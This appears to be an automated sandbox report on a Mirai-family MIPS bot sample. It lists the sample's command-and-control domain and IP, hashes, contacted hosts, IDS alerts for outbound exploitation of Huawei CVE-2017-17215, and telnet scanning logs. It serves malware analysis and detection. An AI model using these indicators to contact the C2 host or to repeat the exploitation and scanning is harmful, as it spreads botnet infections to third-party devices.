Source: unknown	Network traffic detected: HTTP traffic on port 41056 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57350 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48344 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54142 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48588 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37292 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44202 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45512 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43526 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46446 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34850 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57930 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54938 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35202 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48244 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33198 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50470 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43098 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56188 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49604 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34282 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45898 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51040 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34562 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49996 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41576 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46344 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49358 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45010 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53464 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48998 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46884 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45050 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58206 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55652 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32962 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36788 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55250 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43990 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38870 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40296 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35142 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46330 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33640 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45256 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45558 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52416 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49672 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45408 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47372 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45966 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42818 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36148 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40664 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57086 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58864 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57300 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42912 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59462 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46102 -> 37215

Source: /tmp/nullnet_load.mips.elf (PID: 5564)

Queries kernel information via 'uname':

Jump to behavior

Source: nullnet_load.mips.elf, 5564.1.000056246ad61000.000056246ade8000.rw-.sdmp, nullnet_load.mips.elf, 5567.1.000056246ad61000.000056246ade8000.rw-.sdmp, nullnet_load.mips.elf, 5571.1.000056246ad61000.000056246ade8000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/mips
Source: nullnet_load.mips.elf, 5564.1.00007fff444ed000.00007fff4450e000.rw-.sdmp, nullnet_load.mips.elf, 5567.1.00007fff444ed000.00007fff4450e000.rw-.sdmp, nullnet_load.mips.elf, 5571.1.00007fff444ed000.00007fff4450e000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-mips
Source: nullnet_load.mips.elf, 5564.1.000056246ad61000.000056246ade8000.rw-.sdmp, nullnet_load.mips.elf, 5567.1.000056246ad61000.000056246ade8000.rw-.sdmp, nullnet_load.mips.elf, 5571.1.000056246ad61000.000056246ade8000.rw-.sdmp	Binary or memory string: j$V!/etc/qemu-binfmt/mips
Source: nullnet_load.mips.elf, 5564.1.00007fff444ed000.00007fff4450e000.rw-.sdmp, nullnet_load.mips.elf, 5567.1.00007fff444ed000.00007fff4450e000.rw-.sdmp, nullnet_load.mips.elf, 5571.1.00007fff444ed000.00007fff4450e000.rw-.sdmp	Binary or memory string: ]x86_64/usr/bin/qemu-mips/tmp/nullnet_load.mips.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/nullnet_load.mips.elf

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: nullnet_load.mips.elf, type: SAMPLE
Source: Yara match	File source: 5571.1.00007f0fdc400000.00007f0fdc41a000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5564.1.00007f0fdc400000.00007f0fdc41a000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5567.1.00007f0fdc400000.00007f0fdc41a000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: nullnet_load.mips.elf PID: 5564, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: nullnet_load.mips.elf PID: 5567, type: MEMORYSTR

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: nullnet_load.mips.elf, type: SAMPLE
Source: Yara match	File source: 5571.1.00007f0fdc400000.00007f0fdc41a000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5564.1.00007f0fdc400000.00007f0fdc41a000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5567.1.00007f0fdc400000.00007f0fdc41a000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: nullnet_load.mips.elf PID: 5564, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: nullnet_load.mips.elf PID: 5567, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	Direct Volume Access	1 OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	11 Non-Standard Port	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
nullnet_load.mips.elf	55%	ReversingLabs	Linux.Trojan.Mirai
nullnet_load.mips.elf	100%	Avira	EXP/ELF.Gafgyt.Z.A

Source	Detection	Scanner	Label	Link
http://schemas.xmlsoap.org/soap/encoding/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/soap/envelope/	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
cnc.ghtyuio.online	198.12.107.126	true	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://schemas.xmlsoap.org/soap/encoding/	nullnet_load.mips.elf	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/soap/envelope/	nullnet_load.mips.elf	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
156.63.125.43	unknown	United States	19902	NET-STATE-OHIOUS	false
39.250.42.90	unknown	Indonesia	23693	TELKOMSEL-ASN-IDPTTelekomunikasiSelularID	false
197.180.156.34	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
82.27.226.149	unknown	United Kingdom	5089	NTLGB	false
41.195.173.77	unknown	South Africa	16637	MTNNS-ASZA	false
41.137.15.175	unknown	Morocco	36884	MAROCCONNECTMA	false
41.169.151.133	unknown	South Africa	36937	Neotel-ASZA	false
69.218.234.11	unknown	United States	7018	ATT-INTERNET4US	false
110.175.170.228	unknown	Australia	7545	TPG-INTERNET-APTPGTelecomLimitedAU	false
182.123.132.9	unknown	China	4837	CHINA169-BACKBONECHINAUNICOMChina169BackboneCN	false
57.87.229.173	unknown	Belgium	51964	ORANGE-BUSINESS-SERVICES-IPSN-ASNFR	false
197.2.168.176	unknown	Tunisia	37705	TOPNETTN	false
156.161.229.77	unknown	Egypt	36992	ETISALAT-MISREG	false
41.78.38.117	unknown	South Africa	37157	IMAGINEZA	false
156.234.152.221	unknown	Seychelles	136800	XIAOZHIYUN1-AS-APICIDCNETWORKUS	true
178.244.234.144	unknown	Turkey	16135	TURKCELL-ASTurkcellASTR	false
205.228.42.162	unknown	United States	5049	MORGAN-ASNUS	false
113.24.234.7	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
156.115.47.238	unknown	Switzerland	59630	NN_INSURANCE_EURASIA_NV_ITH-ASNL	false
156.158.98.28	unknown	Tanzania United Republic of	37133	airtel-tz-asTZ	false
98.37.42.136	unknown	United States	7922	COMCAST-7922US	false
183.198.180.36	unknown	China	24547	CMNET-V4HEBEI-AS-APHebeiMobileCommunicationCompanyLimit	false
41.230.97.153	unknown	Tunisia	37705	TOPNETTN	false
41.110.52.200	unknown	Algeria	36947	ALGTEL-ASDZ	true
177.230.22.138	unknown	Mexico	13999	MegaCableSAdeCVMX	false
156.124.58.135	unknown	United States	393504	XNSTGCA	false
41.148.196.224	unknown	South Africa	5713	SAIX-NETZA	false
197.77.91.147	unknown	South Africa	16637	MTNNS-ASZA	false
197.205.16.182	unknown	Algeria	36947	ALGTEL-ASDZ	false
204.152.32.129	unknown	United States	393366	CENTRA-5US	false
74.148.28.87	unknown	United States	7922	COMCAST-7922US	false
161.62.82.125	unknown	Switzerland	559	SWITCHPeeringrequestspeeringswitchchEU	false
197.190.60.122	unknown	Ghana	37140	zain-asGH	false
197.144.163.100	unknown	Morocco	36884	MAROCCONNECTMA	false
41.21.46.187	unknown	South Africa	36994	Vodacom-VBZA	false
197.106.106.142	unknown	South Africa	37168	CELL-CZA	false
41.189.163.197	unknown	Ghana	30986	SCANCOMGH	false
197.219.199.197	unknown	Mozambique	37342	MOVITELMZ	false
72.107.249.9	unknown	United States	22394	CELLCOUS	false
98.56.245.236	unknown	United States	7922	COMCAST-7922US	false
41.244.252.247	unknown	Cameroon	37620	VIETTEL-CM-ASCM	false
41.215.11.75	unknown	Kenya	15808	ACCESSKENYA-KEACCESSKENYAGROUPLTDisanISPservingKE	false
156.0.172.147	unknown	South Africa	328112	Linux-Based-Systems-Design-ASZA	false
41.232.124.3	unknown	Egypt	8452	TE-ASTE-ASEG	false
156.208.127.67	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.145.58.81	unknown	South Africa	5713	SAIX-NETZA	false
209.33.227.200	unknown	United States	11071	IW-ASN-11071US	false
156.67.59.83	unknown	Germany	16024	GELSEN-NETAmBugapark1cDE	false
46.156.86.205	unknown	Norway	2119	TELENOR-NEXTELTelenorNorgeASNO	false
203.181.104.31	unknown	Japan	2516	KDDIKDDICORPORATIONJP	false
140.236.213.250	unknown	United States	20115	CHARTER-20115US	false
41.97.63.145	unknown	Algeria	36947	ALGTEL-ASDZ	false
197.58.66.122	unknown	Egypt	8452	TE-ASTE-ASEG	false
41.244.252.232	unknown	Cameroon	37620	VIETTEL-CM-ASCM	false
41.172.207.53	unknown	South Africa	36937	Neotel-ASZA	false
197.171.128.136	unknown	South Africa	37168	CELL-CZA	false
197.13.131.239	unknown	Tunisia	37504	MeninxTN	false
41.35.57.66	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.5.197.205	unknown	Tunisia	5438	ATI-TN	false
197.65.82.72	unknown	South Africa	16637	MTNNS-ASZA	false
41.203.88.61	unknown	Nigeria	37148	globacom-asNG	false
197.247.65.11	unknown	Morocco	36925	ASMediMA	false
41.227.43.72	unknown	Tunisia	2609	TN-BB-ASTunisiaBackBoneASTN	false
145.58.82.126	unknown	Netherlands	25182	PUBLIEKE-OMROEP-ASNPONederlandsePubliekeOmroepNL	false
76.226.164.30	unknown	United States	7018	ATT-INTERNET4US	false
41.148.201.145	unknown	South Africa	5713	SAIX-NETZA	false
110.98.4.42	unknown	China	9394	CTTNETChinaTieTongTelecommunicationsCorporationCN	false
200.92.233.220	unknown	Mexico	28541	MegaCableSAdeCVMX	false
197.207.57.245	unknown	Algeria	36947	ALGTEL-ASDZ	false
197.221.108.136	unknown	South Africa	37236	Reflex-SolutionsZA	false
138.230.175.59	unknown	United States	12980	EMEAHostingAutonomousSystemEU	false
91.179.103.117	unknown	Belgium	5432	PROXIMUS-ISP-ASBE	false
197.211.114.59	unknown	Malawi	37187	SKYBANDMW	false
156.179.81.151	unknown	Egypt	36992	ETISALAT-MISREG	false
99.117.31.145	unknown	United States	7018	ATT-INTERNET4US	false
175.194.40.50	unknown	Korea Republic of	4766	KIXS-AS-KRKoreaTelecomKR	false
41.150.35.117	unknown	South Africa	5713	SAIX-NETZA	false
144.75.151.62	unknown	United States	14169	VMI-ASNUS	false
43.187.109.214	unknown	Japan	4249	LILLY-ASUS	false
152.230.7.74	unknown	Chile	14259	GtdInternetSACL	false
212.70.216.7	unknown	Greece	8396	TEE-GR	false
156.43.173.147	unknown	United Kingdom	4211	ASN-MARICOPA1US	false
165.219.103.223	unknown	United States	3136	STATE-OF-WISCONSIN-AS1US	false
156.78.216.197	unknown	United States	18862	NCS-HEALTHCAREUS	false
197.4.29.60	unknown	Tunisia	5438	ATI-TN	false
17.96.3.203	unknown	United States	714	APPLE-ENGINEERINGUS	false
106.34.226.134	unknown	China	4134	CHINANET-BACKBONENo31Jin-rongStreetCN	false
156.9.55.109	unknown	United States	3741	ISZA	false
197.160.66.245	unknown	Egypt	24863	LINKdotNET-ASEG	false
41.10.179.254	unknown	South Africa	29975	VODACOM-ZA	false
197.42.112.107	unknown	Egypt	8452	TE-ASTE-ASEG	false
197.245.175.199	unknown	South Africa	11845	Vox-TelecomZA	false
133.12.129.194	unknown	Japan	2907	SINET-ASResearchOrganizationofInformationandSystemsN	false
114.121.57.46	unknown	Indonesia	23693	TELKOMSEL-ASN-IDPTTelekomunikasiSelularID	false
197.181.96.225	unknown	Kenya	33771	SAFARICOM-LIMITEDKE	false
156.215.165.59	unknown	Egypt	8452	TE-ASTE-ASEG	false
146.197.234.249	unknown	United States	54535	NIKEUS-NVUS	false
197.205.16.135	unknown	Algeria	36947	ALGTEL-ASDZ	false
41.225.7.199	unknown	Tunisia	37671	GLOBALNET-ASTN	false
197.187.221.123	unknown	Tanzania United Republic of	37133	airtel-tz-asTZ	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
156.63.125.43	zD14KmNUNc.elf	Get hash	malicious	Mirai	Browse
197.180.156.34	Zsw9n2qDyj.elf	Get hash	malicious	Mirai	Browse
57.87.229.173	iuSFhE6G0p	Get hash	malicious	Mirai	Browse
197.2.168.176	97OKse8hGO.elf	Get hash	malicious	Mirai	Browse
	x86.elf	Get hash	malicious	Mirai	Browse
	chi.x86.elf	Get hash	malicious	Mirai	Browse
	q0lC7ihSlh	Get hash	malicious	Mirai	Browse
	arm	Get hash	malicious	Mirai	Browse
41.195.173.77	5U6cdA7R89.elf	Get hash	malicious	Mirai, Moobot	Browse
41.195.173.77	4zYGXRTYWa.elf	Get hash	malicious	Mirai, Moobot	Browse
41.137.15.175	tWKUyc26G7.elf	Get hash	malicious	Mirai	Browse
	UExapel1Dx	Get hash	malicious	Mirai	Browse
	HszMzwJSc1	Get hash	malicious	Mirai	Browse
41.169.151.133	me3eNsYoMt.elf	Get hash	malicious	Mirai, Moobot	Browse
156.161.229.77	yaN4oHT2jB	Get hash	malicious	Mirai	Browse
	AduaALp8mF	Get hash	malicious	Mirai	Browse
	QUulJKF3ug	Get hash	malicious	Mirai	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cnc.ghtyuio.online	nullnet_load.sh4.elf	Get hash	malicious	Mirai	Browse	198.12.107.126
	nullnet_load.arm7.elf	Get hash	malicious	Mirai	Browse	198.12.107.126
	nullnet_load.m68k.elf	Get hash	malicious	Mirai	Browse	198.12.107.126
	nullnet_load.spc.elf	Get hash	malicious	Mirai	Browse	198.12.107.126
	nullnet_load.arm.elf	Get hash	malicious	Mirai	Browse	198.12.107.126
	nullnet_load.x86_64.elf	Get hash	malicious	Mirai	Browse	198.12.107.126
	nullnet_load.mpsl.elf	Get hash	malicious	Mirai	Browse	198.12.107.126
	nullnet_load.i486.elf	Get hash	malicious	Mirai	Browse	198.12.107.126
	nullnet_load.x86.elf	Get hash	malicious	Mirai	Browse	198.12.107.126

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SAFARICOM-LIMITEDKE	nullnet_load.arm7.elf	Get hash	malicious	Mirai	Browse	197.181.96.220
	nullnet_load.m68k.elf	Get hash	malicious	Mirai	Browse	41.80.99.91
	nullnet_load.spc.elf	Get hash	malicious	Mirai	Browse	41.90.181.192
	nullnet_load.mpsl.elf	Get hash	malicious	Mirai	Browse	41.90.181.186
	nullnet_load.i486.elf	Get hash	malicious	Mirai	Browse	197.177.27.80
	LJSS65p4Kz.elf	Get hash	malicious	Unknown	Browse	105.165.145.148
	v6pwbOEUpl.elf	Get hash	malicious	Unknown	Browse	197.179.254.15
	x86.elf	Get hash	malicious	Mirai	Browse	197.179.254.18
	mips.elf	Get hash	malicious	Mirai	Browse	197.177.52.32
	x86_64.elf	Get hash	malicious	Mirai	Browse	197.180.156.30
NTLGB	nullnet_load.spc.elf	Get hash	malicious	Mirai	Browse	77.101.168.196
	nullnet_load.mpsl.elf	Get hash	malicious	Mirai	Browse	86.32.7.44
	nullnet_load.x86.elf	Get hash	malicious	Mirai	Browse	86.9.113.120
	nuklear.arm.elf	Get hash	malicious	Mirai	Browse	80.195.180.151
	wZU2edEGL3.elf	Get hash	malicious	Unknown	Browse	86.20.208.208
	belks.arm.elf	Get hash	malicious	Mirai	Browse	62.31.100.67
	belks.ppc.elf	Get hash	malicious	Mirai	Browse	94.174.138.246
	belks.spc.elf	Get hash	malicious	Mirai	Browse	62.31.148.53
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	82.2.163.131
	ppc.elf	Get hash	malicious	Unknown	Browse	86.13.76.181
NET-STATE-OHIOUS	arm7.elf	Get hash	malicious	Mirai	Browse	156.63.125.41
	nmpsl.elf	Get hash	malicious	Mirai	Browse	156.63.125.28
	tppc.elf	Get hash	malicious	Mirai	Browse	156.63.125.62
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	198.234.23.95
	nklm68k.elf	Get hash	malicious	Unknown	Browse	156.63.113.41
	sh4.elf	Get hash	malicious	Mirai	Browse	198.234.130.66
	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse	156.63.167.181
	la.bot.powerpc.elf	Get hash	malicious	Unknown	Browse	198.234.60.14
	nshsh4.elf	Get hash	malicious	Mirai	Browse	156.63.125.30
	nsharm5.elf	Get hash	malicious	Mirai	Browse	156.63.125.20
TELKOMSEL-ASN-IDPTTelekomunikasiSelularID	jew.sh4.elf	Get hash	malicious	Mirai	Browse	39.205.73.17
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	39.244.145.202
	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse	39.240.214.206
	la.bot.sparc.elf	Get hash	malicious	Unknown	Browse	114.120.126.21
	nabarm.elf	Get hash	malicious	Unknown	Browse	182.2.17.165
	jklmips.elf	Get hash	malicious	Unknown	Browse	39.242.71.175
	nabarm7.elf	Get hash	malicious	Unknown	Browse	39.242.14.221
	nabppc.elf	Get hash	malicious	Unknown	Browse	39.241.7.111
	ppc.elf	Get hash	malicious	Unknown	Browse	39.230.204.83
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	39.209.237.75

File type:	ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, stripped
Entropy (8bit):	5.529110188266974
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	nullnet_load.mips.elf
File size:	105'216 bytes
MD5:	f0119dabc6f3d211d0a8ae42e45db4ef
SHA1:	05d97a009d09436bd4b0837ebb553026846a9474
SHA256:	70aba6420599720d224442a5d289a3970faaf15d0d8b572c212176c291a925bb
SHA512:	829677fadcfaf95af6312e3b5278b44c735e51d2f52cb4558eb9d0a273305fa85ee02523bcf771fd96305e07367c3cd23b524370c685ee78ff8124dc7820e226
SSDEEP:	1536:cF9RwgB0FavGLCpC+UxpmNBU8QfKpEP/1727ntitwnfRz/b9w:uLwgB0mpC+wmNBU82+a1727ntitwntxw
TLSH:	F5A3820E7E319F7EFBAC823847B78A219209339666E1C584D19CED026E7434D741FBA5
File Content Preview:	.ELF.....................@.`...4.........4. ...(.............@...@.....`...`...............d.E.d.E.d................dt.Q............................<...'..<...!'.......................<...'......!... ....'9... ......................<...'......!...$....'9.

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, big endian
Version:	1 (current)
Machine:	MIPS R3000
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x400260
Flags:	0x1007
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	104656
Section Header Size:	40
Number of Section Headers:	14
Header String Table Index:	13

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400094	0x94	0x8c	0x0	0x6	AX	4
.text	PROGBITS	0x400120	0x120	0x17f40	0x0	0x6	AX	16
.fini	PROGBITS	0x418060	0x18060	0x5c	0x0	0x6	AX	4
.rodata	PROGBITS	0x4180c0	0x180c0	0x11a0	0x0	0x2	A	16
.ctors	PROGBITS	0x459264	0x19264	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x45926c	0x1926c	0x8	0x0	0x3	WA	4
.data.rel.ro	PROGBITS	0x459278	0x19278	0x4	0x0	0x3	WA	4
.data	PROGBITS	0x459280	0x19280	0x258	0x0	0x3	WA	16
.got	PROGBITS	0x4594e0	0x194e0	0x38c	0x4	0x10000003	WAp	16
.sbss	NOBITS	0x45986c	0x1986c	0x20	0x0	0x10000003	WAp	4
.bss	NOBITS	0x459890	0x1986c	0x4e8	0x0	0x3	WA	16
.mdebug.abi32	PROGBITS	0x68a	0x1986c	0x0	0x0	0x0		1
.shstrtab	STRTAB	0x0	0x1986c	0x64	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0x19260	0x19260	5.5382	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x19264	0x459264	0x459264	0x608	0xb14	4.0512	0x6	RW	0x10000	.ctors .dtors .data.rel.ro .data .got .sbss .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-03T15:33:06.866789+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53232	41.71.163.79	37215	TCP
2024-11-03T15:33:12.798681+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50466	156.207.157.252	37215	TCP
2024-11-03T15:33:14.892659+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	32980	41.152.10.217	37215	TCP
2024-11-03T15:33:15.878222+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35132	156.217.236.232	37215	TCP
2024-11-03T15:33:17.076418+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59766	156.231.69.163	37215	TCP
2024-11-03T15:33:17.844577+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56454	197.78.199.67	37215	TCP
2024-11-03T15:33:17.887565+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41260	156.69.79.25	37215	TCP
2024-11-03T15:33:20.889141+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54134	41.149.194.71	37215	TCP
2024-11-03T15:33:20.904848+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36236	41.118.174.98	37215	TCP
2024-11-03T15:33:24.968858+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38958	156.148.197.220	37215	TCP
2024-11-03T15:33:26.049187+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58296	41.207.100.86	37215	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 3, 2024 15:33:03.899955988 CET	4833	2323	192.168.2.14	19.212.23.128
Nov 3, 2024 15:33:03.900037050 CET	4833	23	192.168.2.14	180.89.225.190
Nov 3, 2024 15:33:03.900037050 CET	4833	23	192.168.2.14	173.42.154.129
Nov 3, 2024 15:33:03.900083065 CET	4833	23	192.168.2.14	146.184.36.238
Nov 3, 2024 15:33:03.900114059 CET	4833	23	192.168.2.14	82.233.136.38
Nov 3, 2024 15:33:03.900114059 CET	4833	23	192.168.2.14	77.222.124.20
Nov 3, 2024 15:33:03.900121927 CET	4833	23	192.168.2.14	200.122.147.32
Nov 3, 2024 15:33:03.900156975 CET	4833	23	192.168.2.14	104.59.145.38
Nov 3, 2024 15:33:03.900171041 CET	4833	23	192.168.2.14	174.169.170.73
Nov 3, 2024 15:33:03.900181055 CET	4833	23	192.168.2.14	73.195.214.90
Nov 3, 2024 15:33:03.900234938 CET	4833	2323	192.168.2.14	67.206.244.155
Nov 3, 2024 15:33:03.900288105 CET	4833	23	192.168.2.14	150.56.169.84
Nov 3, 2024 15:33:03.900317907 CET	4833	23	192.168.2.14	209.129.129.97
Nov 3, 2024 15:33:03.900326014 CET	4833	23	192.168.2.14	95.7.203.251
Nov 3, 2024 15:33:03.900337934 CET	4833	23	192.168.2.14	212.140.253.155
Nov 3, 2024 15:33:03.900379896 CET	4833	23	192.168.2.14	98.111.58.225
Nov 3, 2024 15:33:03.900396109 CET	4833	23	192.168.2.14	80.166.40.152
Nov 3, 2024 15:33:03.900409937 CET	4833	23	192.168.2.14	211.210.255.138
Nov 3, 2024 15:33:03.900423050 CET	4833	23	192.168.2.14	36.181.35.174
Nov 3, 2024 15:33:03.900429010 CET	4833	23	192.168.2.14	65.161.59.74
Nov 3, 2024 15:33:03.900471926 CET	4833	2323	192.168.2.14	152.183.125.215
Nov 3, 2024 15:33:03.900474072 CET	4833	23	192.168.2.14	174.11.30.87
